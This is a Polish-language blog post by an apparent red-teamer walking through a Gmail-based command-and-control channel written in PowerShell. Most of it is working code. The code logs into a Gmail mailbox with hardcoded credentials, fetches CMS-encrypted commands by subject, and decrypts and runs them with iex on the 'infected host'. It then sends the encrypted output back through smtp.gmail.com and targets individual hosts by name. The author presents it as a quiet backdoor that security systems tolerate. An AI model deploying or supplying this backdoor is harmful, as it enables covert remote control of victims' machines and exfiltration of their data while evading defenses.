vegeta_ssj@saiyajinz:~/posty/gmail_c2/$

gmail c&c

6 minut czytania opublikowano: 14.01.2021

komunikacja c&c z użyciem smtp gmail
Lubię różne fajne kanały c&c. Ten nie jest odkrywczy, bo niejaki byt3bl33d3r
(autor CME, gwiazdy śmierci i wielu innych genialnych narzędzi do gwałcenia 
active directory) zainspirowany toolem Benjamina Donnellego poczynił coś w 
podobie. Ja postanowiłem przygotować własną interpretację :D

github.com/byt3bl33d3r/gcat
bitbucket.org/Zaeyx/gcat/src/master/gcat.py

Zacząłem coś tam strugać w c# z użyciem bibliotek googla do rozmowy z api, 
ale znalazłem bardzo dobry moduł w powershellu który ideolo mi usiadł. 

github.com/nblagoev/Gmail.ps

Wymyśliłem, że zainfekowany host będzie pobierał polecenia ze skrzynki gmail, 
wykonywał je i odsyłał wynik na tę samą skrzynkę. Zależało mi na szyfrowaniu 
całej komunikacji. Utworzyłem dwa klucze- dla atakującego i atakowanego. W 
Windowsie można natywnie, asymetrycznie szyfrować wiadomości z użyciem 
powershellowego Protect-CmsMessage. W skrócie: polecenia szyfruję 
kluczem "atakowanego", wysyłam na skrzynkę, "atakowany" pobiera polecenie,
odszyfrowuje, wykonuje, wynik szyfruje moim kluczem i odsyła na skrzynkę.

Zacząłem od przygotowania dwóch kluczy.

$CertData = @{
    DnsName       = "nazwaklucza"
    CertStoreLocation         = "Cert:\CurrentUser\My"
    KeyUsage    = "KeyEncipherment"
    Type = "DocumentEncryptionCert"
}
New-SelfSignedCertificate @CertData

#output
Thumbprint                                Subject
----------                                -------
IE29QOMNZIE9RPQFTR78LPNC98494H4DPQEMKD93  CN=nazwaklucza

Próba mikrofonu. Prawie jak gpg :)

'tekst' | Protect-CmsMessage -To cn=nazwaklucza

-----BEGIN CMS-----
MIIBmwYJKoZIhvcNAQcDoIIBjDCCAYgCAQAxggFDMIIBPwIBADAnMBMxE
MzAzAhAjgr6Z4kZ7vkoHvicU579FMA0GCSqGSIb3DQEBBzAABIIBAMSoG
BGfLmC3zn/+omzhMv1/8pEh8Pu1TdzS788APKJEqVU9iGxM0O97vXOFQl
OOswJ1JUd76X2A7RWeMdRU4XH7b1NGi63i3rFicWxGynVS9bTZ8i2YyNZ
iVRFH5k9bqwIJpIUM80f7EIQ3pff1rsluWPy4vZessEzjWomdv91qrBma
BHEebpt41wwaLS1V1Mhep75df6hspBsIqSdLna3hjNJ6smYC8/OXtwOVP
K/70EPMF/G0EtXIwPAYJKoZIhvcNAQcBMB0GCWCGSAFlAwQBKgQQXe/PF
nBYi0TWzO//nolUw+X1htw==
-----END CMS-----

Po pobraniu modułu gmail.ps na zaatakowany host trzeba utworzyć sesję z 
utworzoną do tego celu skrzynką gmail.

$UserName = 'user@gmail.com'
$PlainPass = "h@slod0gmaila"
$SecurePass = $PlainPass | ConvertTo-SecureString -AsPlainText -Force
$Credentials = New-Object System.Management.Automation.PSCredential `
     -ArgumentList $UserName, $SecurePass
$gmail = New-GmailSession -Credential $Credentials
$inbox = $gmail | Get-Mailbox

Szybki teścik :) Poproszę o nieprzeczytane wiadomości.

$inbox | Get-Message -Unread



Na skrzynce umieściłem polecenia i skrypty zaszyfrowane kluczem 
atakowanego hosta.





Klient który sobie chodzi w jakiejś tam pętli u nieszczęśnika pobiera 
wiadomość po temacie, odszyfrowywuje i pajpuje w | iex. W tym  wypadku temat 
wiadomości to "whoami" od polecenia whoami które ma się wykonać.

$inbox = $gmail | Get-Mailbox
$msg = $inbox | Get-Message -Subject "whoami" | Receive-Message
$msg.Body | Unprotect-CmsMessage | iex
# output msegdewin10\ieuser :)



Teraz wypadałoby odesłać wynik polecenia. W tym celu zaszyfruje go moim 
kluczem, czyli atakującego, zapodam w zmienną i poślę. W temat wiadomości 
daję nazwę hosta, żeby potem filtrować w skrzynce odbiorczej te które 
mnie interesują.

Całość wygląda tak:

$msg = $inbox | Get-Message -Subject "whoami" | Receive-Message
$MsgBody = $msg.Body | Unprotect-CmsMessage | iex
$EncMsgBody = $MsgBody | Protect-CmsMessage -To cn=atakujacy
$UserName = 'user@gmail.com'
$PlainPass = "h@slod0gmaila"
$SecurePass = $PlainPass | ConvertTo-SecureString -AsPlainText -Force
$Credentials = New-Object System.Management.Automation.PSCredential `
     -ArgumentList $UserName, $SecurePass
 $hash = @{
    from       = "user@gmail.com"
    to         = "user@gmail.com"
    subject    = "$env:COMPUTERNAME"
    smtpserver = "smtp.gmail.com"
    port       = "587"
    body       = "$EncMsgBody"
    credential = $Credentials
    usessl     = $true
    verbose    = $true
}
Send-MailMessage @hash

Nietrudno zaimplementować to do w pełni działającego c&c z prostym klientem.
W warunkach bojowych fajnie działa jako bakdorek do nienatarczywej 
komunikacji. Jak hostów do obsługi robi się więcej a ja chcę polecenie wydać 
jednemu to dodaję if'a w którym sprawdzam nazwę hosta.

Jeżeli nazwa hosta to MSEDGEWIN10 wykonaj polecenie, jeżeli inna: zaśnij :)

$hostname = $env:COMPUTERNAME
If ( $hostname -eq "MSEDGEWIN10" ) 
{
polecenie dla MSEDGEWIN10
}
Else
{
sleep 6000
}

Warto się pobawić, bo systemy bezpieczeństwa podchodzą tolerancyjnie
do takich prostych rozwiązań. Należy tylko pamiętać o sensownym interwale
odpytywania c&c.